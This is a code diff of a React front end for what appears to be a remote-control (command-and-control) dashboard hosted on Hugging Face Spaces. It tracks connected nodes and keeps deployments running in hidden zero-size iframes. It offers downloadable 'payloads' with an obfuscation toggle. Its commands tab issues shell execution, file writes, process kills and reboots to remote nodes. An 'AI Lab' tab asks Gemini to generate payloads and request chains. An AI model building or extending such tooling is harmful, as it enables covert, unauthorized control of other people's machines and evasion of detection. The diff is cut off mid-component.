Spaces:
Running
Running
Update src/App.tsx
Browse files- src/App.tsx +347 -29
src/App.tsx
CHANGED
|
@@ -1,4 +1,4 @@
|
|
| 1 |
-
import React, { useState, useEffect } from 'react';
|
| 2 |
import {
|
| 3 |
Activity,
|
| 4 |
Terminal,
|
|
@@ -18,6 +18,16 @@ import { cn } from './lib/utils';
|
|
| 18 |
export default function App() {
|
| 19 |
const [activeTab, setActiveTab] = useState('dashboard');
|
| 20 |
const [deployments, setDeployments] = useState<string[]>([]);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
|
| 22 |
useEffect(() => {
|
| 23 |
const fetchStatus = async () => {
|
|
@@ -25,18 +35,52 @@ export default function App() {
|
|
| 25 |
const res = await fetch('/api/status');
|
| 26 |
const json = await res.json();
|
| 27 |
setDeployments(json.deployments || []);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 28 |
} catch (err) {}
|
| 29 |
};
|
| 30 |
fetchStatus();
|
| 31 |
-
const iv = setInterval(fetchStatus,
|
| 32 |
return () => clearInterval(iv);
|
| 33 |
}, []);
|
| 34 |
|
| 35 |
return (
|
| 36 |
<div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 37 |
<div className="hidden">
|
| 38 |
{deployments.map(url => (
|
| 39 |
-
<iframe key={url} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
|
| 40 |
))}
|
| 41 |
</div>
|
| 42 |
<div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
|
|
@@ -66,6 +110,18 @@ export default function App() {
|
|
| 66 |
icon={<Globe size={18} />}
|
| 67 |
label="Cloud Deploy"
|
| 68 |
/>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 69 |
<SidebarButton
|
| 70 |
active={activeTab === 'cmds_network'}
|
| 71 |
onClick={() => setActiveTab('cmds_network')}
|
|
@@ -103,6 +159,8 @@ export default function App() {
|
|
| 103 |
{activeTab === 'cmds_network' && <CommandsTab category="network" />}
|
| 104 |
{activeTab === 'cmds_system' && <CommandsTab category="system" />}
|
| 105 |
{activeTab === 'cmds_file' && <CommandsTab category="file" />}
|
|
|
|
|
|
|
| 106 |
{activeTab === 'settings' && <SettingsTab />}
|
| 107 |
</div>
|
| 108 |
</main>
|
|
@@ -149,6 +207,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
|
|
| 149 |
function DashboardTab() {
|
| 150 |
const [data, setData] = useState({ nodes: [], reports: [] });
|
| 151 |
const [filter, setFilter] = useState('all');
|
|
|
|
| 152 |
|
| 153 |
useEffect(() => {
|
| 154 |
const fetchStatus = async () => {
|
|
@@ -175,6 +234,30 @@ function DashboardTab() {
|
|
| 175 |
setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
|
| 176 |
};
|
| 177 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 178 |
const filteredNodes = data.nodes.filter((n: any) => {
|
| 179 |
const isActive = Date.now() - n.lastSeen < 20000;
|
| 180 |
if (filter === 'active') return isActive;
|
|
@@ -203,16 +286,26 @@ function DashboardTab() {
|
|
| 203 |
</div>
|
| 204 |
|
| 205 |
<Card title="Connected Nodes" icon={<Server size={18} />}>
|
| 206 |
-
<div className="flex gap-4 mb-4 items-center px-2">
|
| 207 |
-
<
|
| 208 |
-
|
| 209 |
-
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
|
| 213 |
-
|
| 214 |
-
|
| 215 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 216 |
</div>
|
| 217 |
{filteredNodes.length === 0 ? (
|
| 218 |
<div className="text-center py-10 text-slate-400">
|
|
@@ -225,6 +318,14 @@ function DashboardTab() {
|
|
| 225 |
<table className="w-full text-left text-sm whitespace-nowrap">
|
| 226 |
<thead className="text-slate-500 border-b border-white/5">
|
| 227 |
<tr className="h-10">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 228 |
<th className="font-medium px-2">Node ID</th>
|
| 229 |
<th className="font-medium">Environment</th>
|
| 230 |
<th className="font-medium">IP Addr</th>
|
|
@@ -241,7 +342,15 @@ function DashboardTab() {
|
|
| 241 |
const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
|
| 242 |
const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
|
| 243 |
return (
|
| 244 |
-
<tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 245 |
<td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
|
| 246 |
<td className="py-3">
|
| 247 |
<span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
|
|
@@ -283,6 +392,7 @@ function DashboardTab() {
|
|
| 283 |
function PayloadsTab() {
|
| 284 |
const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
|
| 285 |
const [activePayload, setActivePayload] = useState('hf_docker');
|
|
|
|
| 286 |
|
| 287 |
const payloads = [
|
| 288 |
{ id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
|
|
@@ -298,16 +408,27 @@ function PayloadsTab() {
|
|
| 298 |
];
|
| 299 |
|
| 300 |
useEffect(() => {
|
| 301 |
-
fetch(`/api/payloads/${activePayload}`)
|
| 302 |
.then(r => r.json())
|
| 303 |
.then(d => setPayloadFiles(d.files || {}));
|
| 304 |
-
}, [activePayload]);
|
| 305 |
|
| 306 |
return (
|
| 307 |
<div className="flex flex-col gap-6">
|
| 308 |
<div className="mb-2">
|
| 309 |
<h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
|
| 310 |
<p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 311 |
</div>
|
| 312 |
|
| 313 |
<div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
|
|
@@ -359,6 +480,174 @@ function PayloadsTab() {
|
|
| 359 |
);
|
| 360 |
}
|
| 361 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 362 |
function SettingsTab() {
|
| 363 |
const [hfToken, setHfToken] = useState('');
|
| 364 |
const [ghToken, setGhToken] = useState('');
|
|
@@ -446,7 +735,7 @@ function DeployTab() {
|
|
| 446 |
});
|
| 447 |
const data = await res.json();
|
| 448 |
if (data.error) throw new Error(data.error);
|
| 449 |
-
setStatus(`
|
| 450 |
} catch (e: any) {
|
| 451 |
setStatus(`Error: ${e.message}`);
|
| 452 |
}
|
|
@@ -515,7 +804,7 @@ function DeployTab() {
|
|
| 515 |
>
|
| 516 |
<Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
|
| 517 |
</button>
|
| 518 |
-
{status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
|
| 519 |
</div>
|
| 520 |
</div>
|
| 521 |
</Card>
|
|
@@ -626,29 +915,44 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 626 |
const requiresDestPath = command === 'copy_file' || command === 'move_file';
|
| 627 |
const requiresContent = command === 'write_file';
|
| 628 |
const requiresPid = command === 'kill_process';
|
|
|
|
| 629 |
|
| 630 |
const [fileContent, setFileContent] = useState('echo hello');
|
| 631 |
const [destPath, setDestPath] = useState('/tmp/dest');
|
|
|
|
| 632 |
|
| 633 |
const issueCommand = async () => {
|
| 634 |
let payload: any = {};
|
| 635 |
-
|
| 636 |
-
|
| 637 |
-
if (
|
| 638 |
-
|
| 639 |
-
|
| 640 |
-
|
| 641 |
-
|
| 642 |
-
|
| 643 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 644 |
|
| 645 |
try {
|
| 646 |
await fetch('/api/commands', {
|
| 647 |
method: 'POST',
|
| 648 |
headers: { 'Content-Type': 'application/json' },
|
| 649 |
-
body: JSON.stringify({ target: targetNode, type:
|
| 650 |
});
|
| 651 |
-
setStatus(`Dispatched '${
|
| 652 |
setTimeout(() => setStatus(''), 3000);
|
| 653 |
} catch (e) {
|
| 654 |
setStatus('Failed to issue command.');
|
|
@@ -727,6 +1031,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 727 |
<option value="exec_shell">Exec Shell Command</option>
|
| 728 |
<option value="reboot_system">Reboot System (Warning!)</option>
|
| 729 |
<option value="self_terminate">Terminate Client Process</option>
|
|
|
|
| 730 |
</optgroup>
|
| 731 |
)}
|
| 732 |
{category === 'file' && (
|
|
@@ -831,6 +1136,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 831 |
</div>
|
| 832 |
)}
|
| 833 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 834 |
{requiresInterval && (
|
| 835 |
<div className="border-t border-white/5 pt-5">
|
| 836 |
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>
|
|
|
|
| 1 |
+
import React, { useState, useEffect, useRef } from 'react';
|
| 2 |
import {
|
| 3 |
Activity,
|
| 4 |
Terminal,
|
|
|
|
| 18 |
export default function App() {
|
| 19 |
const [activeTab, setActiveTab] = useState('dashboard');
|
| 20 |
const [deployments, setDeployments] = useState<string[]>([]);
|
| 21 |
+
const [deployLogs, setDeployLogs] = useState<string[]>([]);
|
| 22 |
+
const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]);
|
| 23 |
+
const [iframeKey, setIframeKey] = useState(0);
|
| 24 |
+
const prevNodesRef = useRef(new Map());
|
| 25 |
+
|
| 26 |
+
const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => {
|
| 27 |
+
const id = Math.random().toString();
|
| 28 |
+
setToasts(t => [...t, {id, msg, type}]);
|
| 29 |
+
setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000);
|
| 30 |
+
};
|
| 31 |
|
| 32 |
useEffect(() => {
|
| 33 |
const fetchStatus = async () => {
|
|
|
|
| 35 |
const res = await fetch('/api/status');
|
| 36 |
const json = await res.json();
|
| 37 |
setDeployments(json.deployments || []);
|
| 38 |
+
if (json.deployLogs) setDeployLogs(json.deployLogs);
|
| 39 |
+
|
| 40 |
+
// Handle node online/offline toasts
|
| 41 |
+
if (json.nodes) {
|
| 42 |
+
const currentNodes = new Map();
|
| 43 |
+
json.nodes.forEach((n: any) => {
|
| 44 |
+
const isActive = Date.now() - n.lastSeen < 20000;
|
| 45 |
+
currentNodes.set(n.id, isActive);
|
| 46 |
+
|
| 47 |
+
const wasActive = prevNodesRef.current.get(n.id);
|
| 48 |
+
if (wasActive === undefined) {
|
| 49 |
+
addToast(`New Node Connected: ${n.id} (${n.type})`, 'success');
|
| 50 |
+
} else if (!wasActive && isActive) {
|
| 51 |
+
addToast(`Node Online: ${n.id}`, 'success');
|
| 52 |
+
} else if (wasActive && !isActive) {
|
| 53 |
+
addToast(`Node Offline: ${n.id}`, 'warning');
|
| 54 |
+
}
|
| 55 |
+
});
|
| 56 |
+
prevNodesRef.current = currentNodes;
|
| 57 |
+
}
|
| 58 |
} catch (err) {}
|
| 59 |
};
|
| 60 |
fetchStatus();
|
| 61 |
+
const iv = setInterval(fetchStatus, 5000);
|
| 62 |
return () => clearInterval(iv);
|
| 63 |
}, []);
|
| 64 |
|
| 65 |
return (
|
| 66 |
<div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
|
| 67 |
+
{/* Toast Container */}
|
| 68 |
+
<div className="fixed top-4 right-4 z-50 flex flex-col gap-2">
|
| 69 |
+
{toasts.map(t => (
|
| 70 |
+
<div key={t.id} className={cn(
|
| 71 |
+
"px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2",
|
| 72 |
+
t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' :
|
| 73 |
+
t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' :
|
| 74 |
+
'bg-slate-800 border-slate-700 text-slate-200'
|
| 75 |
+
)}>
|
| 76 |
+
{t.msg}
|
| 77 |
+
</div>
|
| 78 |
+
))}
|
| 79 |
+
</div>
|
| 80 |
+
|
| 81 |
<div className="hidden">
|
| 82 |
{deployments.map(url => (
|
| 83 |
+
<iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
|
| 84 |
))}
|
| 85 |
</div>
|
| 86 |
<div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
|
|
|
|
| 110 |
icon={<Globe size={18} />}
|
| 111 |
label="Cloud Deploy"
|
| 112 |
/>
|
| 113 |
+
<SidebarButton
|
| 114 |
+
active={activeTab === 'ai_lab'}
|
| 115 |
+
onClick={() => setActiveTab('ai_lab')}
|
| 116 |
+
icon={<Cpu size={18} />}
|
| 117 |
+
label="AI Lab"
|
| 118 |
+
/>
|
| 119 |
+
<SidebarButton
|
| 120 |
+
active={activeTab === 'docs'}
|
| 121 |
+
onClick={() => setActiveTab('docs')}
|
| 122 |
+
icon={<FileText size={18} />}
|
| 123 |
+
label="Documentation"
|
| 124 |
+
/>
|
| 125 |
<SidebarButton
|
| 126 |
active={activeTab === 'cmds_network'}
|
| 127 |
onClick={() => setActiveTab('cmds_network')}
|
|
|
|
| 159 |
{activeTab === 'cmds_network' && <CommandsTab category="network" />}
|
| 160 |
{activeTab === 'cmds_system' && <CommandsTab category="system" />}
|
| 161 |
{activeTab === 'cmds_file' && <CommandsTab category="file" />}
|
| 162 |
+
{activeTab === 'ai_lab' && <AILabTab />}
|
| 163 |
+
{activeTab === 'docs' && <DocsTab />}
|
| 164 |
{activeTab === 'settings' && <SettingsTab />}
|
| 165 |
</div>
|
| 166 |
</main>
|
|
|
|
| 207 |
function DashboardTab() {
|
| 208 |
const [data, setData] = useState({ nodes: [], reports: [] });
|
| 209 |
const [filter, setFilter] = useState('all');
|
| 210 |
+
const [selected, setSelected] = useState<Set<string>>(new Set());
|
| 211 |
|
| 212 |
useEffect(() => {
|
| 213 |
const fetchStatus = async () => {
|
|
|
|
| 234 |
setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
|
| 235 |
};
|
| 236 |
|
| 237 |
+
const removeSelected = async () => {
|
| 238 |
+
for (const id of Array.from(selected)) {
|
| 239 |
+
await removeNode(id);
|
| 240 |
+
}
|
| 241 |
+
setSelected(new Set());
|
| 242 |
+
};
|
| 243 |
+
|
| 244 |
+
const toggleSelect = (id: string) => {
|
| 245 |
+
setSelected(prev => {
|
| 246 |
+
const n = new Set(prev);
|
| 247 |
+
if (n.has(id)) n.delete(id);
|
| 248 |
+
else n.add(id);
|
| 249 |
+
return n;
|
| 250 |
+
});
|
| 251 |
+
};
|
| 252 |
+
|
| 253 |
+
const toggleAll = (visibleNodes: any[]) => {
|
| 254 |
+
if (selected.size === visibleNodes.length && visibleNodes.length > 0) {
|
| 255 |
+
setSelected(new Set());
|
| 256 |
+
} else {
|
| 257 |
+
setSelected(new Set(visibleNodes.map(n => n.id)));
|
| 258 |
+
}
|
| 259 |
+
};
|
| 260 |
+
|
| 261 |
const filteredNodes = data.nodes.filter((n: any) => {
|
| 262 |
const isActive = Date.now() - n.lastSeen < 20000;
|
| 263 |
if (filter === 'active') return isActive;
|
|
|
|
| 286 |
</div>
|
| 287 |
|
| 288 |
<Card title="Connected Nodes" icon={<Server size={18} />}>
|
| 289 |
+
<div className="flex gap-4 mb-4 items-center justify-between px-2">
|
| 290 |
+
<div className="flex gap-4 items-center">
|
| 291 |
+
<label className="text-sm font-medium text-slate-400">Filter:</label>
|
| 292 |
+
<select
|
| 293 |
+
className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors"
|
| 294 |
+
value={filter} onChange={e => setFilter(e.target.value)}
|
| 295 |
+
>
|
| 296 |
+
<option value="all">All Nodes</option>
|
| 297 |
+
<option value="active">Active ({'<'} 20s skip)</option>
|
| 298 |
+
<option value="inactive">Inactive</option>
|
| 299 |
+
</select>
|
| 300 |
+
</div>
|
| 301 |
+
{selected.size > 0 && (
|
| 302 |
+
<button
|
| 303 |
+
onClick={removeSelected}
|
| 304 |
+
className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all"
|
| 305 |
+
>
|
| 306 |
+
Terminate ({selected.size})
|
| 307 |
+
</button>
|
| 308 |
+
)}
|
| 309 |
</div>
|
| 310 |
{filteredNodes.length === 0 ? (
|
| 311 |
<div className="text-center py-10 text-slate-400">
|
|
|
|
| 318 |
<table className="w-full text-left text-sm whitespace-nowrap">
|
| 319 |
<thead className="text-slate-500 border-b border-white/5">
|
| 320 |
<tr className="h-10">
|
| 321 |
+
<th className="font-medium px-4 w-10">
|
| 322 |
+
<input
|
| 323 |
+
type="checkbox"
|
| 324 |
+
className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer"
|
| 325 |
+
checked={filteredNodes.length > 0 && selected.size === filteredNodes.length}
|
| 326 |
+
onChange={() => toggleAll(filteredNodes)}
|
| 327 |
+
/>
|
| 328 |
+
</th>
|
| 329 |
<th className="font-medium px-2">Node ID</th>
|
| 330 |
<th className="font-medium">Environment</th>
|
| 331 |
<th className="font-medium">IP Addr</th>
|
|
|
|
| 342 |
const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
|
| 343 |
const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
|
| 344 |
return (
|
| 345 |
+
<tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}>
|
| 346 |
+
<td className="px-4" onClick={(e) => e.stopPropagation()}>
|
| 347 |
+
<input
|
| 348 |
+
type="checkbox"
|
| 349 |
+
className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500"
|
| 350 |
+
checked={selected.has(node.id)}
|
| 351 |
+
onChange={() => toggleSelect(node.id)}
|
| 352 |
+
/>
|
| 353 |
+
</td>
|
| 354 |
<td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
|
| 355 |
<td className="py-3">
|
| 356 |
<span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
|
|
|
|
| 392 |
function PayloadsTab() {
|
| 393 |
const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
|
| 394 |
const [activePayload, setActivePayload] = useState('hf_docker');
|
| 395 |
+
const [obfuscate, setObfuscate] = useState(false);
|
| 396 |
|
| 397 |
const payloads = [
|
| 398 |
{ id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
|
|
|
|
| 408 |
];
|
| 409 |
|
| 410 |
useEffect(() => {
|
| 411 |
+
fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
|
| 412 |
.then(r => r.json())
|
| 413 |
.then(d => setPayloadFiles(d.files || {}));
|
| 414 |
+
}, [activePayload, obfuscate]);
|
| 415 |
|
| 416 |
return (
|
| 417 |
<div className="flex flex-col gap-6">
|
| 418 |
<div className="mb-2">
|
| 419 |
<h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
|
| 420 |
<p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
|
| 421 |
+
|
| 422 |
+
<div className="mt-4 flex items-center gap-2">
|
| 423 |
+
<input
|
| 424 |
+
type="checkbox"
|
| 425 |
+
id="obfuscate"
|
| 426 |
+
checked={obfuscate}
|
| 427 |
+
onChange={(e) => setObfuscate(e.target.checked)}
|
| 428 |
+
className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer"
|
| 429 |
+
/>
|
| 430 |
+
<label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label>
|
| 431 |
+
</div>
|
| 432 |
</div>
|
| 433 |
|
| 434 |
<div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
|
|
|
|
| 480 |
);
|
| 481 |
}
|
| 482 |
|
| 483 |
+
function AILabTab() {
|
| 484 |
+
const [prompt, setPrompt] = useState('');
|
| 485 |
+
const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
|
| 486 |
+
const [loading, setLoading] = useState(false);
|
| 487 |
+
const [result, setResult] = useState('');
|
| 488 |
+
const [errorMsg, setErrorMsg] = useState('');
|
| 489 |
+
|
| 490 |
+
const generate = async () => {
|
| 491 |
+
setLoading(true);
|
| 492 |
+
setErrorMsg('');
|
| 493 |
+
try {
|
| 494 |
+
let endpoint = '/api/ai/generate-payload';
|
| 495 |
+
let body: any = { prompt };
|
| 496 |
+
|
| 497 |
+
if (mode === 'packets') endpoint = '/api/ai/generate-packets';
|
| 498 |
+
if (mode === 'evaluate') {
|
| 499 |
+
endpoint = '/api/ai/evaluate-payload';
|
| 500 |
+
body = { code: prompt };
|
| 501 |
+
}
|
| 502 |
+
|
| 503 |
+
const res = await fetch(endpoint, {
|
| 504 |
+
method: 'POST',
|
| 505 |
+
headers: { 'Content-Type': 'application/json' },
|
| 506 |
+
body: JSON.stringify(body)
|
| 507 |
+
});
|
| 508 |
+
const data = await res.json();
|
| 509 |
+
if (data.error) setErrorMsg(data.error);
|
| 510 |
+
else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code);
|
| 511 |
+
} catch (e: any) {
|
| 512 |
+
setErrorMsg(e.message);
|
| 513 |
+
}
|
| 514 |
+
setLoading(false);
|
| 515 |
+
};
|
| 516 |
+
|
| 517 |
+
return (
|
| 518 |
+
<div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
|
| 519 |
+
<div className="mb-2">
|
| 520 |
+
<h2 className="text-2xl font-bold text-white tracking-tight">AI Generation Lab</h2>
|
| 521 |
+
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
|
| 522 |
+
Describe the payload or sequence of actions you want to execute. The system will leverage Gemini to craft custom logic and valid action chains.
|
| 523 |
+
</p>
|
| 524 |
+
</div>
|
| 525 |
+
|
| 526 |
+
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
|
| 527 |
+
<Card title="AI Input" icon={<Cpu size={18} />}>
|
| 528 |
+
<div className="flex flex-col gap-4">
|
| 529 |
+
<div className="flex bg-black/20 rounded-lg p-1">
|
| 530 |
+
<button
|
| 531 |
+
onClick={() => setMode('payload')}
|
| 532 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 533 |
+
>
|
| 534 |
+
Gen Payload
|
| 535 |
+
</button>
|
| 536 |
+
<button
|
| 537 |
+
onClick={() => setMode('packets')}
|
| 538 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 539 |
+
>
|
| 540 |
+
Gen Packets
|
| 541 |
+
</button>
|
| 542 |
+
<button
|
| 543 |
+
onClick={() => setMode('evaluate')}
|
| 544 |
+
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'evaluate' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
|
| 545 |
+
>
|
| 546 |
+
Evaluate Code
|
| 547 |
+
</button>
|
| 548 |
+
</div>
|
| 549 |
+
|
| 550 |
+
<textarea
|
| 551 |
+
value={prompt}
|
| 552 |
+
onChange={(e) => setPrompt(e.target.value)}
|
| 553 |
+
placeholder={mode === 'evaluate' ? "Paste code to evaluate..." : mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."}
|
| 554 |
+
rows={6}
|
| 555 |
+
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm"
|
| 556 |
+
/>
|
| 557 |
+
<button
|
| 558 |
+
onClick={generate}
|
| 559 |
+
disabled={loading || !prompt.trim()}
|
| 560 |
+
className={cn(
|
| 561 |
+
"px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
|
| 562 |
+
(loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30"
|
| 563 |
+
)}
|
| 564 |
+
>
|
| 565 |
+
{loading ? 'Processing...' : mode === 'evaluate' ? 'Evaluate & Improve' : 'Generate AI Routine'}
|
| 566 |
+
</button>
|
| 567 |
+
{errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>}
|
| 568 |
+
</div>
|
| 569 |
+
</Card>
|
| 570 |
+
|
| 571 |
+
<Card title="Generated Artifact" icon={<FileText size={18} />}>
|
| 572 |
+
{result ? (
|
| 573 |
+
<div className="flex flex-col h-full gap-3">
|
| 574 |
+
<div className="flex justify-end gap-2 px-1">
|
| 575 |
+
<button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
|
| 576 |
+
</div>
|
| 577 |
+
<textarea
|
| 578 |
+
value={result}
|
| 579 |
+
onChange={e => setResult(e.target.value)}
|
| 580 |
+
className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs"
|
| 581 |
+
/>
|
| 582 |
+
<p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p>
|
| 583 |
+
</div>
|
| 584 |
+
) : (
|
| 585 |
+
<div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50">
|
| 586 |
+
<Terminal size={32} className="mb-4 opacity-50" />
|
| 587 |
+
<p className="text-sm font-medium">Awaiting Generation...</p>
|
| 588 |
+
</div>
|
| 589 |
+
)}
|
| 590 |
+
</Card>
|
| 591 |
+
